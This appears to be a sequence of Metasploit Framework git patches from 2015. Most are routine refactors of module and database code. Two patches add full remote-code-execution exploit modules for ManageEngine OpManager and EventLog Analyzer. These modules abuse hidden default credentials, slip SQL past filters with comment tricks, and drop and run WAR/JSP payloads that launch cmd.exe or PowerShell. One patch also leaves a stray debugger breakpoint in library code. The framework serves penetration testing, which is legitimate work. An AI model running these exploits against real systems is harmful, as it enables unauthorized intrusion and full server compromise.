Msf::Auxiliary report_service( host: k, proto: 'udp', - port: datastore['RPORT'], + port: rport, name: 'portmap' ) - peer = "#{k}:#{datastore['RPORT']}" + peer = "#{k}:#{rport}" vulnerable, proof = prove_amplification(response_map_summary) what = 'Portmap RPC DUMP (Program version: 3) amplification' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") report_vuln( host: k, - port: datastore['RPORT'], + port: rport, proto: 'udp', name: what, refs: references @@ -153,18 +153,18 @@ class Metasploit3 < Msf::Auxiliary report_service( host: k, proto: 'udp', - port: datastore['RPORT'], + port: rport, name: 'portmap' ) - peer = "#{k}:#{datastore['RPORT']}" + peer = "#{k}:#{rport}" vulnerable, proof = prove_amplification(response_map_dump) what = 'Portmap RPC DUMP (Program version: 2) amplification' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") report_vuln( host: k, - port: datastore['RPORT'], + port: rport, proto: 'udp', name: what, refs: references @@ -180,18 +180,18 @@ class Metasploit3 < Msf::Auxiliary report_service( host: k, proto: 'udp', - port: datastore['RPORT'], + port: rport, name: 'portmap' ) - peer = "#{k}:#{datastore['RPORT']}" + peer = "#{k}:#{rport}" vulnerable, proof = prove_amplification(response_map_metrics) what = 'Portmap RPC GETSTAT amplification' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") report_vuln( host: k, - port: datastore['RPORT'], + port: rport, proto: 'udp', name: what, refs: references From 4e22fce7ef55a426c9f6689ba90d6dbadd44089e Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Sun, 13 Sep 2015 16:23:23 +1200 Subject: [PATCH 0626/2172] Switched to using Rex MD5 function --- modules/exploits/freebsd/http/watchguard_remote_root.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb index c3e8c87676..bb052dcbf2 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -261,8 +261,8 @@ class Metasploit4 < Msf::Exploit::Remote #Generates the specific hashes needed for the XCS pre_salt = "BorderWare " post_salt = " some other random (9) stuff" - hash_tmp = Digest::MD5.hexdigest (pre_salt + cleartext_password + post_salt) - final_hash = Digest::MD5.hexdigest (cleartext_password + hash_tmp) + hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt) + final_hash = Rex::Text.md5(cleartext_password + hash_tmp) return final_hash end From ae5aa8f542b6ccc1f2d29df72b808a06b1cf9ff5 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 12 Sep 2015 23:32:02 -0500 Subject: [PATCH 0627/2172] No FILE_CONTENTS option --- modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb index 5592fe0c68..9815d96b34 100644 --- a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb +++ b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb @@ -52,6 +52,8 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe']) ], self.class) + + deregister_options('FILE_CONTENTS') end def generate_mcl From 9e6d3940b31ca3e293c486c18290c1d93f8503e2 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 13 Sep 2015 23:30:14 +0800 Subject: [PATCH 0628/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 143a468989..8a04f9631f 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -59,9 +59,9 @@ class Metasploit3 < Msf::Exploit::Remote def check test = 'echo me' res = send_request_cgi({ - 'method' => 'POST', + 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), - 'vars_post' => + 'vars_get' => { 'cmd' => test } From 713ded7ca2c91aa70ad2f127ec81253d3ba8027b Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Mon, 14 Sep 2015 09:35:44 -0700 Subject: [PATCH 0629/2172] Ignore SMB exceptions during fingerprinting This fixes smb_version in cases where the remote server throws a Login error for the default creds (null session). --- lib/msf/core/exploit/smb/client.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index d1a06a4c89..b104b9e48a 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -327,7 +327,14 @@ module Msf # Connect to the server if needed if not self.simple connect() - smb_login() + # The login method can throw any number of exceptions, we don't + # care since we still get the native_lm/native_os. + begin + smb_login() + rescue ::Rex::Proto::SMB::Exceptions::NoReply, + ::Rex::Proto::SMB::Exceptions::ErrorCode, + ::Rex::Proto::SMB::Exceptions::LoginError + end end fprint['native_os'] = smb_peer_os() From c7f15ca940717d193fc1f4f9706425f6bc858e62 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Mon, 14 Sep 2015 12:18:47 -0500 Subject: [PATCH 0630/2172] Rework how match results get created MSP-13119 * Create match result when we create vuln attempt --- lib/msf/core/db_manager/exploit_attempt.rb | 20 +++++++++++++++++++ lib/msf/core/db_manager/session.rb | 9 +-------- lib/msf/core/exploit.rb | 9 --------- lib/msf/core/exploit_driver.rb | 1 + lib/msf/core/module.rb | 12 ----------- spec/lib/msf/core/module_spec.rb | 11 ---------- .../shared/examples/msf/db_manager/session.rb | 5 ----- 7 files changed, 22 insertions(+), 45 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 36c99012f7..2082c68c44 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -153,6 +153,8 @@ module Msf::DBManager::ExploitAttempt attempt_info[:vuln_id] = vuln.id vuln.vuln_attempts.create(attempt_info) + create_match_result(vuln,opts) + # Correct the vuln's associated service if necessary if svc and vuln.service_id.nil? vuln.service = svc @@ -176,4 +178,22 @@ module Msf::DBManager::ExploitAttempt } end + + def create_match_result(vuln, opts) + match = vuln.matches.last + if match + run = MetasploitDataModels::AutomaticExploitation::Run.where(match_set_id: match.match_set_id).first + if opts[:session_id] + state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED + else + state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED + end + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: match, + run: run, + state: state + ) + end + end + end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index fc2afe3373..ff57c959b1 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -92,14 +92,7 @@ module Msf::DBManager::Session wspace = s.workspace if session - if session.exploit.user_data_is_match? - MetasploitDataModels::AutomaticExploitation::MatchResult.create!( - match: session.exploit.user_data[:match], - run: session.exploit.user_data[:run], - state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED, - ) - infer_vuln_from_session(session, wspace) - elsif session.via_exploit + if session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) end diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 41d6bea30d..086d7f6403 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1284,15 +1284,6 @@ class Exploit < Msf::Module end end - if user_data_is_match? - MetasploitDataModels::AutomaticExploitation::MatchResult.create!( - match: user_data[:match], - run: user_data[:run], - state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED, - ) - end - - framework.db.report_exploit_failure(info) end diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 4be621a9e5..846fd6569f 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -210,6 +210,7 @@ protected # Wait for session, but don't wait long. delay = 0.01 end + exploit.handle_exception e end diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 7fb958617b..fda6eebe8c 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -59,10 +59,6 @@ class Module # datastore, consumed by #replicant to allow clean override of MSF module methods. REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions' - # The set of keys in {#user_data} that make {#user_data_is_match?} return - # true - MATCH_KEYS = Set.new([ :match, :match_set, :run ]) - # Make include public so we can runtime extend public_class_method :include @@ -295,13 +291,6 @@ class Module raise RuntimeError, "#{reason.to_s}: #{msg}" end - # Whether {#user_data} contains everything necessary to make a - # `MetasploitDataModels::AutomaticExploitation::MatchResult` - # - # @return [bool] - def user_data_is_match? - user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS) - end ## # @@ -347,7 +336,6 @@ class Module # {Msf::Simple::Auxiliary#run_simple} for correlating where modules came # from. # - # @see #user_data_is_match? attr_accessor :user_data protected diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 6666933e45..35b83bc7b1 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -46,17 +46,6 @@ describe Msf::Module do it { is_expected.to respond_to :is_usable } end - describe '#user_data_is_match?' do - subject(:msf_module) { - msf_module = described_class.new - msf_module.user_data = { match: 'match', match_set: 'match_set', run: 'run' } - msf_module - } - specify do - expect(msf_module.user_data_is_match?).to eq(true) - end - end - describe "cloning modules into replicants" do module MsfExtensionTestFoo; def my_test1; true; end; end; module MsfExtensionTestBar; def my_test2; true; end; end; diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 5d2f01bd00..acc5734635 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -46,7 +46,6 @@ shared_examples_for 'Msf::DBManager::Session' do framework: framework, name: name ) - allow(d).to receive(:user_data_is_match?).and_return(false) d end @@ -137,10 +136,6 @@ shared_examples_for 'Msf::DBManager::Session' do } end - before do - allow(module_instance).to receive(:user_data_is_match?).and_return(true) - end - it 'should make a MatchResult' do expect { report_session From 7bf2f158c4b49247c1083335f03978f7ee51e46f Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Tue, 15 Sep 2015 07:24:32 +0700 Subject: [PATCH 0631/2172] ManageEngine OpManager Remote Code Execution --- .../misc/manageengine_opmanager_rce.rb | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 modules/exploits/windows/misc/manageengine_opmanager_rce.rb diff --git a/modules/exploits/windows/misc/manageengine_opmanager_rce.rb b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb new file mode 100644 index 0000000000..5d53e81e73 --- /dev/null +++ b/modules/exploits/windows/misc/manageengine_opmanager_rce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine OpManager Remote Code Execution", + 'Description' => %q{ + This module exploits a default credential vulnerability in ManageEngine OpManager. + The vulnerability exists because a default hidden account "IntegrationUser" with administrator + privileges is shipped with every installation of ManageEngine OpManager. The account has + a default password of "plugin", which can not be reset through the OpManager user interface. + By logging in and abusing the default administrator's SQL query functionality, it's possible + to write a WAR payload to disk and trigger an automatic deployment of this payload. + This module has been tested successfully on OpManager v11.5 for Windows. }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module + ], + 'References' => + [ + [ 'EDB', '38174' ], + ], + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['ManageEngine OpManager v11.5', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 14 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + OptInt.new('WAIT', [true, 'Seconds to wait for WAR deployment', 15]), + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check version + vprint_status("#{peer} - Trying to detect ManageEngine OpManager") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "LoginPage.do") + }) + + if res && res.code == 200 && res.body =~ /v\.([0-9]+\.[0-9]+)<\/span>/ + version = $1 + if version.to_f <= 11.5 + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + else + return Exploit::CheckCode::Unknown + end + end + + def sql_query( key, query ) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "api", "json", "admin", "SubmitQuery"), + 'vars_get' => { 'apiKey' => key }, + 'vars_post' => { 'query' => query } + }) + + if not res or res.code != 200 + fail_with(Failure::Unknown, "#{peer} - Query was not succesful!") + end + + return res + end + + def exploit + print_status("#{peer} - Access login page") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "jsp", "Login.do"), + 'vars_post' => { + 'domainName' => 'NULL', + 'authType' => 'localUserLogin', + 'userName' => 'IntegrationUser', # Hidden user + 'password' => 'plugin' # Password of hidden user + } + }) + + if res && res.code == 302 + redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "") + print_status("#{peer} - Location is [ #{redirect} ]") + else + fail_with(Failure::Unknown, "#{peer} - Access to login page failed!") + end + + + # Follow redirection process + print_status("#{peer} - Following redirection") + res = send_request_cgi({ + 'uri' => "#{redirect}", + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/ + api_key = $1 + print_status("#{peer} - Retrieved API key [ #{api_key} ]") + else + fail_with(Failure::Unknown, "#{peer} - Redirect failed!") + end + + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/\n/, '') + + print_status("#{peer} - Executing SQL queries") + + # Remove large object in database, just in case it exists from previous exploit attempts + sql = "SELECT lo_unlink(-1)" + result = sql_query(api_key, sql) + + # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. + sql = "SELECT lo_create(-1)" + result = sql_query(api_key, sql) + if result.body =~ /lo_create":([0-9]+)}/ + loid = $1 + else + fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!") + end + + # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc. + sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{loid}, 0, DECODE('#{war_payload_base64}', 'base64'))" + sql_query(api_key, sql) + + # Export our large object id data into a WAR file + sql = "SELECT lo_export(#{loid}, '..//..//tomcat//webapps//#{app_base}.war');" + sql_query(api_key, sql) + + # Remove our large object in the database + sql = "SELECT lo_unlink(-1)" + result = sql_query(api_key, sql) + + print_status("#{peer} - Waiting #{datastore['WAIT']} seconds for WAR deployment") + sleep(datastore['WAIT']) + + register_file_for_cleanup("tomcat//webapps//#{app_base}.war") + register_file_for_cleanup("tomcat//webapps//#{app_base}") + + random_jsp = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp' + print_status("#{peer} - Executing Payload") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, app_base, "#{random_jsp}"), + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 + fail_with(Failure::Unknown, "#{peer} - WAR File wasn't deployed, aborting!") + end + + end + +end From c99444a52e810fcc2c4f5bbec16cce0936cd5d0e Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Tue, 15 Sep 2015 07:29:16 +0700 Subject: [PATCH 0632/2172] ManageEngine EventLog Analyzer Remote Code Execution --- .../manageengine_eventlog_analyzer_rce.rb | 219 ++++++++++++++++++ 1 file changed, 219 insertions(+) create mode 100644 modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb new file mode 100644 index 0000000000..151e3f51d3 --- /dev/null +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -0,0 +1,219 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine EventLog Analyzer Remote Code Execution", + 'Description' => %q{ + This module exploits a SQL query functionality in ManageEngine EventLog Analyzer. + Every authenticated user, including the default "guest" account can execute SQL queries directly + on the underlaying Postres database server. The queries are executed as the "postgres" user + which has full privileges and thus is able to write files to disk. This way a JSP payload + can be uploaded and executed with SYSTEM privileges on the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module + ], + 'References' => + [ + [ 'EDB', '38173' ], + ], + 'Platform' => ['win'], + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['ManageEngine EventLog Analyzer', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jul 11 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8400), + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]), + OptInt.new('WAIT', [true, 'Seconds to wait for execution of the payload', 5]), + ], self.class) + end + + def uri + return target_uri.path + end + + + def check + # Check version + vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "event", "index3.do") + }) + + if res && res.code == 200 && res.body =~ /ManageEngine EventLog Analyzer/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + + def sql_query( cookies, query ) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "event", "runQuery.do"), + 'cookie' => cookies, + 'vars_post' => { + 'execute' => 'true', + 'query' => query, + } + }) + + unless res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!") + end + + return res + end + + + def generate_jsp_payload(cmd) + + decoder = rand_text_alphanumeric(4 + rand(32 - 4)) + decoded_bytes = rand_text_alphanumeric(4 + rand(32 - 4)) + cmd_array = rand_text_alphanumeric(4 + rand(32 - 4)) + jcode = "<%" + jcode << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + jcode << "String [] #{cmd_array} = new String[3];\n" + jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" + jcode << "#{cmd_array}[1] = \"/c\";\n" + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" + jcode << "%>" + + return jcode + end + + + def exploit + + print_status("#{peer} - Retrieving JSESSION ID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "event", "index3.do"), + }) + + if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/ + jsessionid = $1 + print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]") + else + fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!") + end + + print_status("#{peer} - Access login page") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "event", "j_security_check;jsessionid=#{jsessionid}"), + 'vars_post' => { + 'forChecking' => 'null', + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'domains' => "Local Authentication\r\n", + 'loginButton' => 'Login', + 'optionValue' => 'hide' + } + }) + + if res && res.code == 302 + redirect = URI(res.headers['Location']) + print_status("#{peer} - Location is [ #{redirect} ]") + else + fail_with(Failure::Unknown, "#{peer} - Access to login page failed!") + end + + + # Follow redirection process + print_status("#{peer} - Following redirection") + res = send_request_cgi({ + 'uri' => "#{redirect}", + 'method' => 'GET' + }) + + if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/ + cookies = res.get_cookies + print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]") + else + fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!") + end + + + jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp' + + cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '') + + + print_status("#{peer} - Executing SQL queries") + + # Remove large object in database, just in case it exists from previous exploit attempts + sql = "SELECT lo_unlink(-1)" + result = sql_query(cookies, sql) + + # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. + sql = "SELECT lo_create(-1)" + result = sql_query(cookies, sql) + if result.body =~ /menuItemRow\">([0-9]+)/ + loid = $1 + else + fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!") + end + + select_random = rand_text_numeric(2 + rand(6 - 2)) + # Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc. + sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--" + + + result = sql_query(cookies, sql) + + # Export our large object id data into a WAR file + sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');" + + sql_query(cookies, sql) + + # Remove our large object in the database + sql = "SELECT lo_unlink(-1)" + result = sql_query(cookies, sql) + + register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}") + + print_status("#{peer} - Executing JSP payload") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, jsp_name), + }) + + sleep(datastore['WAIT']) + + # If the server returns 200 we assume we uploaded and executed the payload file successfully + if not res or res.code != 200 + fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!") + end + + end + +end From b3f754136ef5b59ca46dfdaf0bbe04453eabcf63 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 15 Sep 2015 08:04:23 -0700 Subject: [PATCH 0633/2172] Skip WfsDelay when the exploit has clearly failed --- lib/msf/base/simple/exploit.rb | 3 +++ lib/msf/core/exploit.rb | 20 +++++++++++++++++--- lib/msf/core/handler.rb | 8 ++++++++ 3 files changed, 28 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index afc2ec23d7..5fc96a5499 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -237,6 +237,9 @@ module Exploit # Report the failure (and attempt) in the database self.report_failure + + # Interrupt any session waiters in the handler + self.interrupt_handler end # # Calls the class method. diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 41d6bea30d..a2a6c00688 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1193,9 +1193,23 @@ class Exploit < Msf::Module # value can be one of the Handler::constants. # def handler(*args) - return if not payload_instance - return if not handler_enabled? - return payload_instance.handler(*args) + return unless ( + payload_instance && + handler_enabled? + ) + payload_instance.handler(*args) + end + + # + # Break out of the session wait loop (WfsDelay) + # + def interrupt_handler + return unless ( + payload_instance && + handler_enabled? && + payload_instance.respond_to?(:interrupt_wait_for_session) + ) + payload_instance.interrupt_wait_for_session() end ## diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 010fa580b7..f6b12009ca 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -162,6 +162,14 @@ module Handler return session end + # + # Interrupts a wait_for_session call by notifying with a nil event + # + def interrupt_wait_for_session + return unless session_waiter_event + session_waiter_event.notify(nil) + end + # # Set by the exploit module to configure handler # From eb479318b1e5cca0707d5b2db504b430dbe26ebc Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Tue, 15 Sep 2015 14:34:44 -0500 Subject: [PATCH 0634/2172] Use existing run for match result or create a new one if it doesnt exist MSP-13119 --- lib/msf/core/db_manager/exploit_attempt.rb | 73 +++++++++++++++++----- lib/msf/core/db_manager/session.rb | 1 + lib/msf/core/exploit.rb | 3 +- 3 files changed, 62 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 2082c68c44..6fe4dfb6b9 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -153,7 +153,7 @@ module Msf::DBManager::ExploitAttempt attempt_info[:vuln_id] = vuln.id vuln.vuln_attempts.create(attempt_info) - create_match_result(vuln,opts) + create_match_result_for_vuln(vuln,opts) # Correct the vuln's associated service if necessary if svc and vuln.service_id.nil? @@ -179,20 +179,65 @@ module Msf::DBManager::ExploitAttempt end - def create_match_result(vuln, opts) + def create_match_result_for_vuln(vuln, opts) + run_id = opts[:run_id] + + # match = MetasploitDataModels::AutomaticExploitation::Match.joins( + # MetasploitDataModels::AutomaticExploitation::Match.join_association(:match_set), + # MetasploitDataModels::AutomaticExploitation::MatchSet.join_association(:runs) + # ).where( + # MetasploitDataModels::AutomaticExploitation::Run[:id].eq(run_id) + # ).last + + require 'pry' + binding.pry + + match = MetasploitDataModels::AutomaticExploitation::Match.by_run_id(run_id).last + + # If no match found for run, create a run if a vuln has a match + unless match.present? + match, run = create_run_for_vuln(vuln,opts) + end + + # Only create a match result if a match + if match.present? + run ||= MetasploitDataModels::AutomaticExploitation::Run.find(run_id) + create_match_result(match:match,run:run, session_id: opts[:session_id]) + end + end + + def create_match_result(opts) + if opts[:session_id] + state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED + else + state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED + end + + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: opts[:match], + run: opts[:run], + state: state + ) + end + + def create_run_for_vuln(vuln,opts) + wspace = opts[:workspace] || workspace + username = opts[:username] + match = vuln.matches.last - if match - run = MetasploitDataModels::AutomaticExploitation::Run.where(match_set_id: match.match_set_id).first - if opts[:session_id] - state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED - else - state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED - end - MetasploitDataModels::AutomaticExploitation::MatchResult.create!( - match: match, - run: run, - state: state - ) + + #Only create a run if the vuln has a match + if match.present? + match_set = match.match_set + + user = Mdm::User.where(username: username).first + automatic_exploitation_run = MetasploitDataModels::AutomaticExploitation::Run.new + automatic_exploitation_run.workspace = wspace + automatic_exploitation_run.user = user + match_set.runs << automatic_exploitation_run + + automatic_exploitation_run.save! + [match, automatic_exploitation_run] end end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index ff57c959b1..e66c525825 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -151,6 +151,7 @@ module Msf::DBManager::Session username: session.username, vuln: vuln, workspace: wspace, + run_id: session.exploit.user_data[:run_id] } framework.db.report_exploit_success(attempt_info) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 086d7f6403..a80c8831c1 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1270,7 +1270,8 @@ class Exploit < Msf::Module :fail_detail => self.fail_detail, :target_name => self.target.name, :username => self.owner, - :refs => self.references + :refs => self.references, + :run_id => self.datastore['RUN_ID'] } if self.datastore['RHOST'] and self.options['RHOST'] From 24af3fa12ea804d2dc5243e4f605e6b9d37af835 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 15 Sep 2015 14:46:45 -0500 Subject: [PATCH 0635/2172] Add rop chains --- .../windows/local/ms15_078_atmfd_bof.rb | 102 +++++++++++++++--- 1 file changed, 86 insertions(+), 16 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index f2f3cc5262..e78ff63d46 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -12,12 +12,17 @@ class Metasploit3 < Msf::Exploit::Local WIN32K_VERSIONS = [ '6.3.9600.17393', + '6.3.9600.17630', + '6.3.9600.17694', + '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' ] NT_VERSIONS = [ '6.3.9600.17415', + '6.3.9600.17630', + '6.3.9600.17668', '6.3.9600.17936' ] @@ -123,9 +128,61 @@ class 